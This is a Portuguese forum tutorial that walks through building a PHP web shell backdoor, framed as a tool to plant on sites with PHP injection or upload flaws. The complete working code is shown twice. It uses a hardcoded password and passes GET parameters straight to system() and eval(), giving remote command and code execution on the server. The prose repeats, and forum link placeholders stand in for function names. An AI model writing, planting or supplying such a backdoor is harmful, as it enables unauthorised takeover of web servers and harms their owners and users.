Apesar de haverem poucos sites vulneráveis a PHPi e formulários de upload mal-configurados, é possível encontrar vulnerabilidades, principalmente nos arquivos mais esquecidos dos sistemas utilizados em larga escala (como o PHPNuke, PHPBB, entre outros).
Neste tutorial estarei mostrando como desenvolver um backdoor em PHP que permite acesso ao shell do servidor, além de poder executar códigos PHP instantâneos.
Seu uso será por uma caixa de texto na tela. Todo o tráfego de dados será pelo método GET (ou seja, pela URL).
Vamos iniciar o script:
Vamos começar pedindo uma senha, afinal, outro hacker não pode aproveitar de seu shell, porque é seu. Você não lhe deu permissão para isso. Vamos armazenar sua senha na variável $senha. Caso você queira uma senha ainda maior, pode criptografar com MD5, SHA1 ou o que quiser. Aqui, minha senha será own
Agora, vamos ver se o usuário já digitou a senha.
Agora, vamos ver se a senha está incorreta.
Mas, e se a senha estiver correta? Para melhorar a organização, vamos criar uma função para isso. Se chamará principal().
Então, vamos começar nossa função. Na tela principal haverá duas caixas: uma para digitar comandos do shell e outra para digitar um bloco de código PHP. Para facilitar, vamos armazenar todo o formulário em uma variável. Por segurança, vamos pedir novamente a senha.
Vamos usar duas funções nativas do PHP. A função Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para executar a shell e a função Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para executar códigos PHP. Armazenaremos os resultados na Array $resultado, com ['shell'] e ['php'].
Vamos mostrar os resultados e também o formulário, além de fechar a função.
Agora, é importante notar uma coisa: nós primeiramente chamamos a função e depois a declaramos. Em algumas versões do PHP, isto não funcionará. Por segurança, é bom você trocar de lugar, colocando a função logo abaixo da declaração da variável $senha.
No fim, vamos terminar o script, colocando um exit; para prevenir possíveis malwares vindos do servidor (já que estes adicionam seu código ao final do script, um exit antes anula seu efeito).
Terminamos assim:
E está aí nosso shell. Qualquer dúvida, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Neste tutorial estarei mostrando como desenvolver um backdoor em PHP que permite acesso ao shell do servidor, além de poder executar códigos PHP instantâneos.
Seu uso será por uma caixa de texto na tela. Todo o tráfego de dados será pelo método GET (ou seja, pela URL).
Vamos iniciar o script:
Código PHP:
<?php
Código PHP:
<?php
$senha = "own";
Código PHP:
$senhadigitada = addslashes($_GET['senhadigitada']); // pegamos a senha digitada
if($senhadigitada=="") { // se a senha digitada for nula (o usuário ainda nao digitou)
echo "<html> \n<head> \n<title>shell</title>\n </head> \n <body> \n Digite a senha e pressione Enter. <form action=\"\"> <input type=\"password\" name=\"senhadigitada\"> </form> </body> </html>"; // mostramos o formulário, lembrando que \n é uma linha pulada
}
Código PHP:
elseif ($senhadigitada!=$senha) { // se a senha digitada não for igual à senha
echo "<script> alert('Senha incorreta'); "; // mostra a mensagem Senha incorreta
echo "history.go(-1) </script>"; // e voltamos para a página anterior
exit; // e paramos o script
}
Código PHP:
else {
principal();
}
Código PHP:
function principal() {
$formulario = '<form action="">
Senha:
<br><input type="password" name="senhadigitada"><hr>
Código shell:
<br><input type="text" name="shell"><br><br>
Código PHP:
<br><textarea name="php"></textarea><br><br>
<input type="submit" value="Executar!">
</form>'; // terminamos de escrever o formulário todo em uma var
Código PHP:
$resultado = Array(); // definimos a variável $resultado como um array, ainda vazio
$resultado['shell'] = system($_GET['shell']); // pegamos o resultado do shell
$resultado['php'] = eval($_GET['php']); // pegamos o resultado do php
Código PHP:
echo "Shell <br> Olá, Owner!<hr> " . $formulario . "<hr> PHP: <br><textarea rows=\"5\" cols=\"30\">" . $resultado['php'] . "</textarea><br><br>Shell: <textarea rows=\"5\" cols=\"40\">" . $resultado['shell'] . "</textarea>"; // mostramos tudo
} // fechamos a função
No fim, vamos terminar o script, colocando um exit; para prevenir possíveis malwares vindos do servidor (já que estes adicionam seu código ao final do script, um exit antes anula seu efeito).
Código PHP:
exit;
?>
Código PHP:
<?php
$senha = "own";
function principal() {
$formulario = '<form action="">
Senha:
<br><input type="password" name="senhadigitada"><hr>
Código shell:
<br><input type="text" name="shell"><br><br>
Código PHP:
<br><textarea name="php"></textarea><br><br>
<input type="submit" value="Executar!">
</form>'; // terminamos de escrever o formulário todo em uma var
$resultado = Array(); // definimos a variável $resultado como um array, ainda vazio
$resultado['shell'] = system($_GET['shell']); // pegamos o resultado do shell
$resultado['php'] = eval($_GET['php']); // pegamos o resultado do php
echo "Shell <br> Olá, Owner!<hr> " . $formulario . "<hr> PHP: <br><textarea rows=\"5\" cols=\"30\">" . $resultado['php'] . "</textarea><br><br>Shell: <textarea rows=\"5\" cols=\"40\">" . $resultado['shell'] . "</textarea>"; // mostramos tudo
} // fechamos a função
$senhadigitada = addslashes($_GET['senhadigitada']); // pegamos a senha digitada
if($senhadigitada=="") { // se a senha digitada for nula (o usuário ainda nao digitou)
echo "<html> \n<head> \n<title>shell</title>\n </head> \n <body> \n Digite a senha e pressione Enter. <form action=\"\"> <input type=\"password\" name=\"senhadigitada\"> </form> </body> </html>"; // mostramos o formulário, lembrando que \n é uma linha pulada
}
elseif ($senhadigitada!=$senha) { // se a senha digitada não for igual à senha
echo "<script> alert('Senha incorreta'); "; // mostra a mensagem Senha incorreta
echo "history.go(-1) </script>"; // e voltamos para a página anterior
exit; // e paramos o script
}
else {
principal();
}
exit;
?>